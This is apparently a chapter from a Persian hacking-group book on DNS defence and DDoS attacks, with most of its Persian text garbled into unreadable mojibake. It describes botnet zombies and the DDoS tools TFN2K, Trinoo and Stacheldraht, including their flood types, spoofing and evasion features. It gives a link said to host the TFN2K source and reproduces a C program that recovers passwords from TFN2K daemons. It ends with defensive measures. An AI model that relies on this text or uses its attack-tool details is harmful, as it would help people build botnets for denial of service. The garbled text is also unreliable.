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ؼا اؾ کبؼ ثیىعاؾوع َ مطتکل کىىکعح ؾمکبوی خكتدُی یک ظامىً کً تُقّ ایه قؽَؼ قؽَیف ظٌی ومی نع 

ثً قمت نکجکً مکُؼظوظؽ و کُغ  (Premium User)کً ایه زبفظً وٍبن مطتل می گهت، یک کبؼثؽ قبوُوی 

گؽ یب ثً قمت یک نجکً وبمُخُظ ٌعایت می نعح ضُنجطتبوً ایه مهکل خعی ظؼ وكطً ٌکبی خعیکعتؽ 

لّ ؼا کً می تُاوع ثبػ  تغییؽ مكیؽ ظؼضُاقت ٌب غ DNSزل نعح ظؼ ایه زملً، فؽظ زملً کىىعي اِلاػبت

  نُظ، اؼقبد می کىعح

 :ّ ًحٍْ پیشگیشی اص آًِا DNSهقاتلَ تا حولات 

 :(Root Server)دفاع اص عشّس اصلی  (1

ظیتبثیف قؽَؼ ايلی کُچک اـ َ ثً وعؼت تغییؽ می کىعحلاؾ  اقت یک کپی اؾ آن تٍیً َ ؼَؾی یکجکبؼ 

یعحگبي َ ثیگبي ثبؼگػاؼی ٌبی مدعظ ؼا اودب  ظٌیعح ٌمچىیه مکی تُاویکع اؾ ثؽَؾ ؼقبوی ٌب ؼا ثؽؼقی کى

اقت بظي کىیع چُن ایه ػمل ثبػ  مکی نکُظ ککً  anycastقؽَؼٌبی ايلی ثب اقت بظي اؾ آظؼـ ٌبی 

 قیكتم ٌب ظؼ نجکً ٌبی ثب مُقؼیت ٌبی مطتلف ي ػىُان یک قؽَؼ ثً وظؽ ثؽقىعح

 دفاع اص عاصهاى: (2

ثکؽای ککبؼثؽان  DNSَخُظ ظاؼظ، ثبیكتی ظقتؽقی ٌکبی خعاگبوکً ای اؾ  Intranet اگؽ ظؼ قبؾمبن نمب

ظاضلی ؼا اؾ زملات ضکبؼخی مًکُن وگکً  DNSظاضلی َ مهتؽیبن ضبؼخی ضُظ فؽاٌم آَؼیعح ایه ػمل، 

می ظاؼظح ٌمچىیه می تُاویع اؾ وبزیً ايلی یک کپی تٍیکً کىیکع تکب قکبؾمبن ضکُظ ؼا ظؼ ثؽاثکؽ زمکلات 

DDoS گً ظاؼیعح ٌمچىیه ثً کپی کؽظن وُازی مس ُ  وDNS  اؾ نؽکبی تدبؼی ضُظ تُخً کىیکع ککً ظؼ

ؼَی ایىتؽوکت مکی ؼَوکع،  DNSی  (Updater)ضبؼج اؾ نجکً نمب قؽاؼ ظاؼوعح ٌىگبمی کً ثؽَؾؼقبن ٌکب 

َ یب ظقت ککبؼی قکؽاؼ گیؽوکعح مکی تُاویکع اؾ  (DNS Hijacking)می تُاوىع ظؼ ٌىگب  اوتقبد، مُؼظ ؼثبیم 

یکب  VPN (Virtual Private Network)مُبٌبی مؼبملاتی ثؽای امُبی آوٍب یب اؼقبد ثؽَؾؼقکبن ٌکب ؼَی ا

 قبیؽ کبوبد ٌب اقت بظي کىیعح
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Chapter 02 

DDoS Attacks 

 

 DDoS: حملات دومفصل 

 )حملات تکذیب سزویسِ توسیع شده(
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 (DDoSحولات تکزیة عشّیظِ تْصیع شذٍ )

 تعشیف:

اقت کً ظؼ آن  ؼَنی اؾ زملً (Distributed Denial of Service) قبؾی اؾ قؽَیف نعي مسؽَ  غزملً تُؾی

ظٌکعح ظؼ ایکه  ٌبیی کً ظؼ اضتیبؼ ظاؼظ، زملکً ؼا يکُؼت می کىىعي ثب تؼعاظ ؾیبظی اؾ کبمپیُتؽٌب َ نجکً زملً

ظٌىع ککً  ثب ٌم اودب  می اوع ؼا ٌمؿمبن ٌبی زملً ؼا کً ظؼ غیل غکؽ نعي ٌب یکی اؾ ؼَل ؼَل تمب  ؼایبوً

قؽَیف ٌب َ مىبثغ مُؼظ زملً، قؽثبوی  .ممکه اقت ظؼ ثؽضی مُاؼظ ضكبؼات خجؽان وبپػیؽی ؼا ثً ثبؼ آَؼظ

 ٌبی اَلیً َ کبمپیُتؽٌبی مُؼظ اقت بظي ظؼ ایه زملً ؼا قؽثبوی ٌبی ثبوُیً می وبمیمح

 گ مُثؽتؽوعحػمُمبً ظؼ اؾ کبؼ اوعاضته قبیت ٌبی نؽکت ٌبی ثؿؼ DDoSزملات 

 شکل حولَ:

 

ظٌکع، ثکً  ٌبی ؾیبظی ؼا آلکُظي ککؽظي َ ثکً آوٍکب ٌمؿمکبن فؽمکبن می کىىعي قیكتم ظؼ ایه ؼَل مؼمُلازملً

ٌب ککً تسکت کىتکؽد یکک نکطى  ای اؾ ایه قیكکتم َ ثً نجکً (zombie) ٌبی آلُظي نعي ؾامجی قیكتم

 حگُیىع می botnetٌكتىع، 

 

 Blasterؼا تؽتیت ظٌىکعح ٌمبوىکع  DDoSمً وُیكی نُوع کً یک زملً َیؽَـ ٌب ویؿ می تُاوىع ُِؼی ثؽوب

کً پف اؾ آلُظي کؽظن تؼعاظ ؾیبظی مبنیه ٌب ظؼ ایىتؽوت ظؼ یک ؾمبن مؼیه نؽَع ثً اؼقکبد ثكکتً ٌکب ثکً 

قمت ٌعف مُؼظ وظؽ می کىىعح ثب ثؽؼقی ایىگُوً اؾ زملات می تُان ظؼیبفت ککً ثکب ایىککً ظؼ ؼَل ٌکبی 

ک ٌبی قبظي َ قعیمی اقت بظي می نُظ امب می تُان ثب تؽتیت ظاظن ثبت وکت ٌکبی ثیهکتؽ ظیعاـ اؾ تکىی

 قعؼت زملً ؼا ثیهتؽ کؽظي َ قؽَؼ نؽکت ٌبی ثؿؼگی مبوىع مبیکؽَقبفت ؼا اؾ کبؼ اوعاضت 

قکؽَؼٌب َ  لاؾ  ثً غکؽ اقت یک ٌکؽ ثب ظانته یک کلایىت ثکب کمتکؽیه امکبوکبت َ یکک مکُظ  ظایکل آپکی 

گ تً می  Asymmetric Attackبی ثؿؼگی ؼا اؾ کبؼ ثیىعاؾظح ثً ایه گُوً زملات زملات وبمتقبؼن یب مبنیه ٌ

 نُظح

ظؼ ثكیبؼی اؾ زملات کً ظؼ مُؼظ آوٍب تسقیق َ ثؽؼقی ثً ػمل آمع، اؾ ثکبگ ٌکب َ وقکبِ آقکیت پکػیؽ ثکؽای 

اقت بظي اؾ پکچ ٌکب َ ثعقت گؽفته کىتؽد قیكتم ٌعف َ ظؼ وٍبیت َؽثً وٍبیی اقت بظي نعي اقت پف 

ثؽَؾ کؽظن قیكتم ػبمل ٌب َ وؽ  افؿاؼٌبی آن می تُاوع تب زکعی اؾ ثکؽَؾ ایىگُوکً اؾ زمکلات خلکُگیؽی ثکً 

 ػمل آَؼظح

 

Zombie  چیغت ّ چَ کاستشدی دس حولاتDDoS داسد؟ 

 

 می پؽظاؾیم: Zombieاثتعا ثً تؼؽیف 

ٌب َ و ُغگؽان آوٍب ؼا ٌکک ککؽظي َ آوٍکب ؼا ؾامجی ٌب ثً مبنیه ٌب َ قیكتم ٌبیی گ تً می نُظ کً ٌکؽ

ثؽای زملات ثؼعی ثؽوبمً ؼیؿی می کىىعح اگؽ ٌکؽ ؼا یک فؽمبوکعي لهککؽ ظؼ وظکؽ ثگیکؽیم، ؾامجکی ٌکب زککم 

قؽثبؾاوی ؼا ضُاٌىع ظانت کً اؾ لهکؽ ِؽف مقبثل ثً لهکؽ ِؽف ٌکؽ پیُقتً اوع )ظلیلم مٍکم ویكکت 
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َ آوٍب ؼا ُِؼی ثؽوبمً ؼیؿی می کىىع ککً ثکؽای اخکؽای یکک زملکً ( ٌکؽٌب ثً ایه قیكتم ٌب و ُغ کؽظي (;

ثؿؼگتؽ اؾ آوٍب اقت بظي کىىعح مبنیه ٌکبی ؾامجکی مکی تُاوىکع قکؽَؼٌبی ظاوهکگبٌٍب، نکؽکت ٌکبی اؼائکً 

ظٌىعي ٌبقت َ فُبی َة َ زتی کلایىت ٌب َ کبمپیُتؽٌبی ضبوگی ککبؼثؽان ػکبظی ایىتؽوکت ثبنکىع ککً اؾ 

َنٍبی ظیگؽ ثً ایىتؽوت متًل نعي اوعح ظؼ مؽزلً اَد زملً ظیعاـ، ٌکؽ تمکبمی َ یب ؼ DSLِؽیق ضطُِ 

َقت ضُظ ؼا يؽف و ُغ ثً قیكتم ٌب َ تجعیل آوٍب ثً ؾامجی می کىعح اؾ ثٍتؽیه ثؽوبمً ٌبی مُخُظ ظؼ ایکه 

 انبؼي کؽظح قُؼـ ایه ثؽوبمً ثعیه يُؼت اقت: TFN2Kؾمیىً می تُان ثً 

#include <stdio.h> 

#include <stdlib.h> 

 

/* 

 * Main program.... 

 */ 

int main(int argc, char *argv[]) 

{ 

  FILE *ftd; 

  int i, search = 0, search2, found = 0, rew = 32; 

  unsigned char recover[32]; 

  unsigned char password[32]; 

  unsigned char offset; 

  char close[]="@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"; 

  char check[sizeof(close)]; 

 

  /* Say hello... */ 

  printf("tfn2kpass - Recover the password from tfn2k's 'td' or 

'tfn'\n"); 

  printf("Comments/bugs: Simple Nomad 

<thegnome@razor.bindview.com>\n"); 

  printf("http://razor.bindview.com/\n\n"); 

 

  if (argc!=2) 

  { 

    fprintf(stderr,"USAGE: tfn2kpass <td_filename>\n\n"); 

    fprintf(stderr,"EXAMPLES:\n"); 

    fprintf(stderr,"  tfn2kpass renamed_td\n"); 

    exit(-1); 

  } 

 

  ftd=fopen(argv[1],"rb"); 

  if (ftd == NULL) 

  { 

    fprintf(stderr,"Unable to open file %s.\n",argv[1]); 

    exit(-1); 

  } 

 

  /* first we search the file for the first marker that we 

     are close to the password -- the 40 @'s should be right 

     after the password */ 

  while(!feof(ftd)) 

  { 



Denial of Service Attacks Author: Mr.3ler0n Publisher: Iran Hack Security TM 
 

All right reserved for Iran Hack security TM  Website: Www.Iranhack.org 
 

    fseek(ftd,search,SEEK_SET); 

    fread(&check,40,1,ftd); 

    if (!strncmp(check,close,40)) 

    { 

      found = 1; 

      break; 

    } 

    search++; 

  } 

 

  if (found) 

  { 

    found = 0; /* reset our flag for next 'find' */ 

    search--; 

    search2 = search; 

    /* Now we'll search backward looking for the first non-zero 

       value, which is the offset used to mask the password. 

       The amount of zeroes depends upon platform as well as the 

       daemon type (td or tfn), so we move back one at a time. 

       Also it allows us to examine daemons compiled on a freebsd 

       box from our linux box, for example. */ 

    while(search2!=0) 

    { 

      fseek(ftd,search2,SEEK_SET); 

      fread(&offset,1,1,ftd); 

      /* Sol bins have the needed "offset" right before the string 

         of @'s as well as at the end of the password field, so we 

         need to skip that byte. Also, if we do not shorten the 

         amount of bytes for a Sol bin by one, we end up with one 

         extra char at the beginning of the password. Go figure. */ 

      if((offset) && (search2 == search)) 

      { 

        rew--; 

      } 

      else if(offset) 

      { 

        found = 1; 

        break; 

      } 

      search2--; 

    } 

    if (found) /* if we found the offset, grab and print the password 

*/ 

    { 

      fseek(ftd,search2-rew,SEEK_SET); 

      fread(&recover,32,1,ftd); 

      fclose(ftd); 

 

      for (i=0;i<32;i++) password[i]=recover[i] - offset; 

      printf("The password is - "); 

      for (i=0;i<32;i++) 

      { 
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        if (isprint(password[i])) 

          printf("%c",password[i]); 

      } 

      printf("\n\n"); 

    } 

  } 

  if(!found) printf("The password was not found\n\n"); 

  exit(0); 

} 

 

یکی اؾ خبلت تؽیه امکبوبت ایه اثؿاؼ، اؼتجبِبت ثیه کلایىت َ ؾامجی اقتح ثؽای ایىکً ٌکؽٌبی ظیگؽ وتُاوىکع 

قی َ اؾ آن ثً و غ ضُظ اقت بظي کىىع، کلایىت ثبیع ثب یک ؼمؿ ػجُؼ ضکُظ ؼا ثکً ؾامجکی ثً ؾامجی نمب ظقتؽ

نىبقبیی ومبیع َ تىٍب فؽظی کً ؾامجی َی ؼا میهىبقع، نمب ٌكتیع کً کىتؽد ایکه ؾامجکی ؼا ظؼ ظقکت 

 ظاؼیعح

ؾامجکی ٌکب  ٌکؽ مؼمُلاً یک یب ثیم اؾ یک کلایىت ؼا ثکؽای اؼقکبد ٌمؿمکبن ظقکتُؼ اخکؽای فؽمکبن ثکً تمکب 

اقت بظي می کىع تب یک زملً گكتؽظي َ تُؾیغ نعي ؼا ثؽ ػلیً ٌعف ضُظ تؽتیت ظٌعح تمبمی ؾامجی ٌکب اؾ 

ؼَی َ ی ً ای کً ٌکؽ ثؽایهبن مسُد کؽظي پبقص می ظٌىع َ ایه مىدؽ ثً ایدبظ یک ِغیبوی اؾ فکؽامیه َ 

ف مقبثل قؽاؼ ظاؼظ، فقّ می تُاوع ثب مُاخً نعن قؽثبوی ثب قیلی اؾ ثكتً ٌب می نُظح کلایىتی کً ظؼ ِؽ

ؾامجی ِؽف ضُظل اؼتجبِ ثگیؽظح ظؼ ایىدب نىبقبیی ٌکؽ یب فؽمبوعي ؾامجی ٌب ثكیبؼ مهکل اقت چؽا کً 

اقت بظي کؽظي ثبنع کً نىبقبیی  Netcat Relayٌکؽ پهت قیكتم ٌبی ؾامجی پىٍبن نعي َ اگؽ َی اؾ 

 مهکل تؽ َ تقؽیجبً غیؽ ممکه ضُاٌع ثُظح

 بمً ٌبیی کً ظؼ زملات ظیعاـ کبؼثؽظ ظاؼوع، ػجبؼتىع اؾ:ثؽو

TFN2K 

Blitznet 

Freak88 

Trinoo 

Stacheldraht کً ثً مؼىبی قیم ضبؼظاؼ می ثبنعح ایه اثؿاؼ تؽکیجی اؾTFN  َTrinoo می ثبنعح 

 َ ححح

 

 زبد ثً ثؽؼقی ؼَل کبؼ ٌؽیک اؾ اثؿاؼٌبی فُ  می پؽظاؾیم:

1- Trinoo: 

 

ثکؽ  UDP Floodاقت کً ثب یکعیگؽ ثؽای یک زملکً  Master/slaveاؾ ثؽوبمً ٌبی  ایه ثؽوبمً ظؼ ايل

 Trinooػلیً ٌعف ٌمبٌىگ می نُوعح ظؼ یک ؼَوع ػبظی مؽازکل ؾیکؽ ثکؽای ثؽقکؽاؼی یکک نکجکً 

DDoS :َاقغ می نُوع 
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مؽزلً اَد: زملً کىىعي، ثب اقت بظي اؾ یک میؿثبن ٌک نعي، لیكتی اؾ قیكتم ٌبیی ؼا کً قبثل 

ٌک نعن ٌكتىع،خمغ آَؼی می کىعح ثجهتؽ ایه پؽَقً، ثً يُؼت ضُظکبؼ اؾ ِؽیکق ایکه میؿثکبن 

ٌک نعي اودب  می نُظح ایه میؿثبن اِلاػبتی نبمل وسکُي یکبفته قکبیؽ میؿثکبن ٌکب ثکؽای ٌکک 

 کؽظن وؿظ ضُظ وگً ظاؼی می کىعح

یپت ٌب خٍت و کُغ َ مؽزلً ظَ : ثً مسٍ آمبظي نعن لیكت ظؼ مؽزلً قجل، ظؼ ایه مؽزلً، اقکؽ

تجعیل آوٍب ثً ظایمُن ٌب اخکؽا مکی نکُوعح یکک مكکتؽ مکی تُاوکع چىکعیه ظایمکُن ظیگکؽ ؼا کىتکؽد َ 

ايکلی ؼا ؼَی  UDPقؽپؽقتی کىعح ظایمُن ٌب، میؿثکبن ٌکبی ٌکک نکعي ای ٌكکتىع ککً ِغیکبن 

 مبنیه ٌعف اودب  می ظٌىعح

ؼا ثکً میؿثبوکبن ايکلی ) ظایمکُن ٌىگبمی کً زملً کىىعي فؽمبن زملکً  DDOSمؽزلً قُ : زملً 

ؼا  DoSايلی( اؼقبد می کىع، ایه ظایمُن ٌب ثً ٌؽ ظایمُن ؾیؽ ظقت ظقتُؼ می ظٌىع تکب زملکً 

ظؼ فمبن زملً ؼا آغبؾ می کىىعح ثعیه تؽتیت ثکب اودکب  چىکعیه زملکً مهطى نعي  IPػلیً آظؼـ 

DoS  ًیک زملDDoS نکل می گیؽظح 

 

TFN/TFN2K: 

 TFN (Tribal Flood Network)  وكجت ثکً اثکؿاؼTFN  ايکلی ثؽتکؽی َ پیهکؽفت قبثکل تکُخٍی ظاؼظح

اخکؽا مکی نکُوع ککً ایکه ؼَل  IP (IP Spoofing)ثب اقت بظي اؾ خؼل آظؼـ ٌبی  TFN2kزملات مجتىی ثؽ 

 TFNثبػ  ثؽَؾ مهکل ظؼ نىبقبیی مىجغ زملً می نُظح ایه زمکلات فقکّ نکبمل ِغیکبن قکبظي مبوىکع 

ثؽ ایه نبمل زملاتی ٌكتىع کً اؾ ز کؽي ٌکبی امىیتکی قیكکتم ػبمکل ثکؽای ثكکتً  ویكتىعح آوٍب ػلاَي

ٌبی وبمؼتجؽ َ وبقى قُا اقت بظي ؼا می کىىع تب ثً ایه تؽتیت ثبػ  اؾ کبؼ افتکبظن قیكکتم ٌکبی قؽثکبوی 

 ظیگؽ ویبؾی ثً ثً اخؽای فؽمبوٍب ثب َؼَظ ثً مبنیه ٌبی کلایىکت مطکعَ  )ثکً TFN2Kنُوعح زملً کىىعگبن 

( وعاؼوع َ می تُاوىع ایه فؽمبن ٌب ؼا اؾ ؼاي ظَؼ اخؽا کىىکعح اؼتجکبِ ثکیه کلایىکت ٌکب َ TFNٌب ظؼ Masterخبی 

مسعَظ ومی نُظ َ می تُاوع ؼَی َاقکّ ٌکبی مطتل کی  ICMPظایمُن ٌب ظیگؽ ثً يُؼت پبقطٍبی اکُی 

 مهکل تؽ اقتح ضطؽوبکتؽ َ ٌمچىیه ثؽای کهف TFN2Kيُؼت گیؽظ، ثىبثؽایه  TCP  َUDP مبوىع

ٌؽ قؽگؽَي، یکک گکؽَي اؾ ؾامجکی  اقت بظي می کىعح Netcatظؼ ایه ؼَل، ٌکؽ ثؽای اؼتجبِ ثب قؽگؽَي ٌب اؾ 

فؽمبن زملً  Netcatٌب ؼا فؽمبوعٌی می کىع َ مكتقیمبً تست وظؽ َ ظقتُؼ ٌکؽ می ثبنعح ٌکؽ اؾ ِؽیق 

نککل  DDoSمی ظٌىع ثعیه تؽتیت یک زملکً ؼا يبظؼ َ قؽگؽَي ٌب ویؿ ثً ؾامجی ٌبی ؾیؽ وظؽ ضُظ فؽمبن 

می گیؽظح مبنیه ٌبی قؽگؽَي ویؿ ؼایبوً ٌبیی ٌكتىع ثی گىبي کً وبضُظآگکبي ظؼ اضتیکبؼ ٌککؽ قکؽاؼ گؽفتکً 

 اوعح ٌکؽ ظؼ ٌؽ وقطً اؾ نجکً قبظؼ ضُاٌع ثُظ فؽمبن زملً ؼا يبظؼ َ زملً ؼا نکل ظٌعح

یؿ  ٌکبی ؾیکؽ خٍکت ایدکبظ زملکً ثکً ٌکعف مکُؼظ وظکؽ ؾامجی ٌب قبظؼ ضُاٌىع ثکُظ اؾ مککبو TFN2Kظؼ ؼَل 

 اقت بظي کىىع:

 UDP Flood : اؼقبد قیل آقبی ثكتً ٌکبیUDP  ًثکً قکمت قؽثکبوی ظؼ نکجکً ثکً يکُؼتی کک

 تلف نُظح UDPتمبمی پٍىبی ثبوع ظؼ اضتیبؼ اَ، ثب ایه زدم اؾ ثكتً ٌبی 

 SYN Flood:  اؼقبد قیل آقبی ثكتً ٌبیSYN نکؽذ ایکه وکُع اؾ کً ظؼ ثطم ٌکبی قجلکی ثک ً

 زملً پؽظاضتیمح

 ICMP Flood:  اؼقبد قیل آقبی ثكتً ٌبیPing  

 Smurf:  اؼقبد قیل اقب َ فؽاگیؽ ثكتً ٌبیPing   یب UDP 

  َحولMix:  اؼقبد قیل آقب َ ٌمؿمبن ثكتً ٌبیSYN ،UDP  َICMP ثً قمت یک ٌعف 
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  َحولFarga: ایه زملً کً نبمل اؼقبد قیل اقبی ثكتً ٌبی وبقى IP  ثً قمت یکک ٌکعف

 ( اثعاع نعي اقتحTFN2K) ِؽاذ ايلی زملً Mixterاقت، تُقّ گؽَي 

 ظؼ َثكبیت ؾیؽ مُخُظ َ ظؼ ظقتؽـ ٌكتىع: TFN2Kتمبمی کعٌبی ثؽوبمً ٌبی مؽتجّ ثب 

http://www.mixter.warrior2k.com 

ٌکؽ می تُاوکع  اقت بظي می نُظ، لػا DoSاؾ نم مکبویؿ  زملً  TFN2Kثب تُخً ثً ایىکً زملً 

ؼا آغبؾ َ اخکؽا کىکع َ قکپف ثکً ثؽؼقکی مُفقیکت ضکُظ ثپکؽظاؾظح ظؼ  ICMP Floodزملً ای ٌمبوىع 

 يُؼت ػع  مُفقیت زملً، ثً مبنیه ٌبی ضُظ فؽمبن تغییؽ زملً ؼا يبظؼ می کىعح

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

 ع اؾ:وکبت ثكیبؼ ضطؽوبک ایه ثؽوبمً ػجبؼتى

 ػع  ثبؾ کؽظن پُؼت ٌبی مبنیه ؾامجی َ مط ی مبوعن اؾ چهم اقکىؽٌبی پُؼت 

  اقت بظي اؾ ثكتً ٌبیICMP Echo Reply خٍت ػجُؼ اؾ فبیؽَاد 

  ًآظؼـ مجعا قعَؼ ثكتICMP Echo Reply  ثً ُِؼ انکتجبي َ خؼلکی تىظکیم مکی گکؽظظ تکب

 مبنیه قؽگؽَي َ نطى و ُغگؽ قبثل نىبقبیی وجبنىعح

 ٌبی ؾامجی ویؿ ظؼ ٌىگب  زملً ثً یک ٌعف اؾ آظؼـ ٌبی مجکعا انکتجبي َ خؼلکی  مبنیه

 ثٍؽي می ثؽوع تب ظیؽتؽ نىبقبیی نُوعح

  پی گیؽی مبنیه ٌبی ؾامجی قُظی وعاؼظ  َ ؾیؽا اَلا ظؼ قطر ایىتؽوت پؽاکىکعي نکعي

!! َ ؼَتؽٌبی مطتل ی متًل ٌكتىع ظَمب ثی گىبٌىع !!! قکُمب ثكکیبؼ ؾیبظوکع!ٌب َ ISPثً 

 چٍبؼمب ظؼ يُؼت نىبقبیی ومی تُان آوٍب ؼا غیؽ فؼبد کؽظ!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

  پی گیؽی مبنیه ؾامجی قؽگؽَي ثكیبؼ مهکل اقت َ ظؼ يُؼت نىبقبیی، و ُغگؽ َقت

 فؽاؼ ؼا ضُاٌع ظانت!!!!

  ًظؼ ثؽوبمTFN2K  ٌؽ مبنیه قؽگؽَي یک فبیل مط ی اؾ آظؼـ ٌبیIP  ًمبنکیه متؼلق ث

ٌبی ؾامجی تست فؽمبن ضُظ ؼا ظؼ اضتیکبؼ ظاؼظ َ ثکً مىظکُؼ آن ککً ظؼ يکُؼت آنککبؼ نکعن 

ایه فبیل ثً يُؼت کؽیپت نکعي ؼَی مبنکیه ٌُیت قؽگؽَي، مبنیه ٌبی ؾامجی لُ وؽَوعح

 ٌبی قؽگؽَي غضیؽي می نُظح

  ظؼTFN2Kثکؽَؾ  ، و ُغگؽ قبظؼ ضُاٌع ثُظ وكطً وؽ  افؿاؼ وًت نعي ؼَی مبنیه ؾامجکی ؼا

 کىعح

اؾ ؼَی  TFN2Kٌمچىیه و ُغگؽ قبظؼ اقت مبنیه ٌبی ؾامجی ؼا َاظاؼ ثً پبک ککؽظن وکؽ  افکؿاؼ 

ٌبؼظ ومبیع ثب ایىککً ظؼ لسظکبت پبیکبوی ؼا پکبک مکی کىکع ٌمبوىکع ضُظکهکی فؽمبوکعي َ او دکبؼ 

 ٌمبوىع یک قؽثبؾ ظلیؽ ظؼ خىگ ػمل TFN2Kمط یگبي َ قؽاؼگبيح پف می تُان وتیدً گؽفت کً 

 می کىعح

Stacheldraht 

می ثبنع ثب ایه ت بَت کً ایه ثؽوبمً اخکبؾي مکی  Trinoo  َTFNکع ایه ثؽمبمً ثكیبؼ نجیً ثً ثؽوبمً ٌبی 

مؼؽَفىکع( ؼمؿوگکبؼی نکُظح Handlerٌب )قؽگؽَي ٌب کً ظؼ ایىدب ثً Masterظٌع تب اؼتجبِ ثیه زملً کىىعي َ 

َ ضُظکبؼ تغییؽ ظٌىع ٌمچىیه می تُاوىع ثً اوکُاع مطتل کی  ػُامل می تُاوىع کع ضُظ ؼا ثً يُؼت اتُمبتیک

 ظقت ثؿوىعح SYNَ زتی ِغیبوٍبی  UDPَ ِغیبوٍبی  ICMPاؾ زملات مبوىع ِغیبوٍبی 
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 :DDoSهقاتلَ تا حولات 

َخُظ وعاؼظح امب خبی وگؽاوی ویكت! ثبؼػبیت چىع وکتً  DDoSؼَل مُثؽ َ کبؼامعی خٍت مقبثلً ثب زملات 

 اؾ یؽَؾ چىیه زملاتی خلُگیؽی کؽظ َ یب میؿان آوٍب ؼا ثً زعاقل ؼقبوع:ؾیؽ می تُان 

ٌیچ یک اؾ مب تمبیلی ثً اقت بظي اؾ مبنیه ٌبی نجکً ضُظ تُقّ یک و ُغگؽ ؼا وعاؼیم  پف می  -1

 ثبیكتی ثً يُؼت معاَ  مبنیه ٌبی نجکً ضُظ ؼا تست آؾمبیم قؽاؼ ظٌیمح

 ؾ نعي اقت بظي کىیمحثٍتؽ اقت اؾ وؽ  افؿاؼٌبی آوتی َیؽَـ ثؽَ -2

 اقتح DDoSوًت َ اقت بظي اؾ یک فبیؽَاد قُی ویؿ یکی اؾ مٍم تؽیه ػُامل خلُگیؽی اؾ زملات  -3

 تجؼیت اؾ مدمُػً قیكت ٌبی ضبو ظؼ تُؾیغ َ اؼائً آظؼـ ایمیل ) ثً خٍت کبٌم اقپم ٌب( -4

ُن گؽٌٍَکبیی ٌمیهً ثبیع ظؼ خؽیبن آضؽیه اضجبؼ مىتهؽ نکعي ظؼ مکُؼظ ؾامجکی ٌکب قکؽاؼ گیکؽیم چک -5

 ٌكتىع کً قجل اؾ ػملیبتی نعن یک وؽ  افؿاؼ ؾامجی آوؽا کهف می کىىعح

ظَِؽفً ؼَی ؼَتؽٌبی ضُظ اقت بظي کىیمح ایىکبؼ ثبػ  خلکُگیؽی اؾ  Anti-Spoofingاؾ وؽ  افؿاؼٌبی  -6

 NetIDثب آظؼقٍبی خؼلی می نُظ َ ٌیچ ثكتً ای زق ضؽَج اؾ نکجکً ککً  IPػجُؼ ثكتً ٌبی 

 اقت وعاؼظح طىآن ثكتً مه

 اقت بظي کىیمح Zombie Zapperاؾ وؽ  افؿاؼٌبی  -7

 ISPاگؽ ظاؼای قبیت زكبـ ٌكکتیم ثٍتکؽ اقکت ظؼ وقطکً ای ظیگکؽ اؾ نکجکً ایىتؽوکت َ ثکب یکک  -8

 مت بَت اؾ قبیت ضُظ ثک آپ )پهتیجبن( تٍیً کىیمح

 

 ظؼ اظامً ویؿ ثً غکؽ چىع وکتً، ثس  ؼا ضبتمً می ظٌیم:

 

 عیاٍ چا َ ُا:

ل قیبي چبلً، تمب  تؽافیک مكعَظ نعي َ ٌمً ثكتً ٌب ظَؼ ؼیطتً می نُوعح انکبلی ککً ظؼ ظؼ ؼَ

ایه ؼَل َخُظ ظاؼظ ایه اقت کً تمب  تؽافیک قبیت غیؽ قبثل اقت بظي ضُاٌع نع ثکً ػجکبؼتی ظیگکؽ، 

نککجکً مککُؼظ وظککؽ ثککً یککک قیكککتم آفلایککه تجککعیل ضُاٌککع نککعح ظؼ ایىگُوککً اؾ ؼَل ٌککب، زتککی اخککبؾي 

 ثً کبؼثؽان ايلی قبیت ظاظي ومی نُظح ظقتؽقی

 

 فایشّال ُا ّ سّتشُا:

ؼَتؽٌب ؼا می تُان ُِؼی کبو یگ کؽظ کً اؾ زملات قبظي پیىگ ثب فیلتؽ کؽظن پؽَتکل ٌبی غیکؽ َکؽَؼی 

وکبمؼتجؽ ؼا متُقکف کىىکعح ضلايکً ککلا  ؼَتؽٌکب ظؼ  IPخلُگیؽی کىىع َ ٌمچىیه می تُاوىکع آظؼـ ٌکبی 

 IPپیچیعي َ زملات ظؼ قطر ثؽوبمً ٌکبی ککبؼثؽظی ثکب اقکت بظي اؾ آظؼـ ٌکبی مقبثل زملات خؼلی َ 

 وبمؼتجؽ ثی تبثیؽ ٌكتىعح

 

IDSعیغتن ُای کشف ًفْر(: ُا( 

ٌب ثعیه نکل اقت کً اقت بظي اؾ پؽَتکل ٌبی مؼتجؽ ثکً ػىکُان اثکؿاؼ زملکً ؼا تهکطیى IDSػملکؽظ 

کبؼ ثؽَوع تب ثتُاوىع ثً يُؼت اتُمبتیک َ ضُظکبؼ می ظٌىعح ایه قیكتم ٌب قبظؼوع ثً ٌمؽاي فبیؽَاد ٌب ث
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ظؼ مُاقککغ لککؿَ ، تؽافیککک ؼا مكککعَظ کىىککعح ظؼ ثؽضککی اؾ مُاقککغ تهککطیى و ککُغ ویککبؾ ثککً کبو یککگ تُقککّ 

 کبؼنىبقبن امىیتی ظاؼظ کً ظؼ ثؽضی اؾ مُاقغ ظؼ تهطیى و ُغ ظچبؼ انتجبي می نُوعح

 

 عشّسُا:

ثً ُِؼ مىبقت کبو یگ نُوع، ظؼ ثً زعاقل ؼقبوعن تبثكؽ  اگؽ ثؽوبمً ٌبی کبؼثؽظی مُخُظ ظؼ قؽَؼٌب

ظؼ  (Optimized servers)وقم مٍمکی ضُاٌىکع ظانتحقکؽَؼٌبی ثٍیىکً قکبؾی نکعي  DDoSزملات 

تؽکیت ثب اثؿاؼ تط یف ظٌىعي، می تُاوىع ٌىُؾ نبوف اظامً اؼائً قؽَیف ؼا ظؼ ٌىگبمی کً مُؼظ زملً 

DDoS قؽاؼ می گیؽوع، ظانتً ثبنىعح 

 

 :DDoSاتضاسُای تخفیف 

اقکت بظي مکی  DDoSاثؿاؼٌبی تط یف اثؿاؼٌبیی ٌكتىع کً ثؽای اؾ ثیه ثؽظن تؽافیک یب تط یف زملات 

نُوعح ٌمچىیه ایه اثؿاؼٌب ثیهتؽ ثؽای متؼبظد کؽظن ثبؼ نجکً یب فبیؽَاد ٌکب اقکت بظي مکی نکعح ایکه 

ت ٌیچککعا  کبمکل ویكتىعحثؼُکی اؾ ایکه اثؿاؼٌب قطُذ مطتل ی اؾ میؿان تبثیؽ ؼا ظاؼوع َ می تُان گ ک

اثؿاؼٌب زتی تؽافیک قبوُوی ؼا مكعَظ می کىىع َ ثؽضی ظیگؽ تؽافیک غیؽمدبؾ ؼا ظؼ ثؽضی اَقبت وبظیعي 

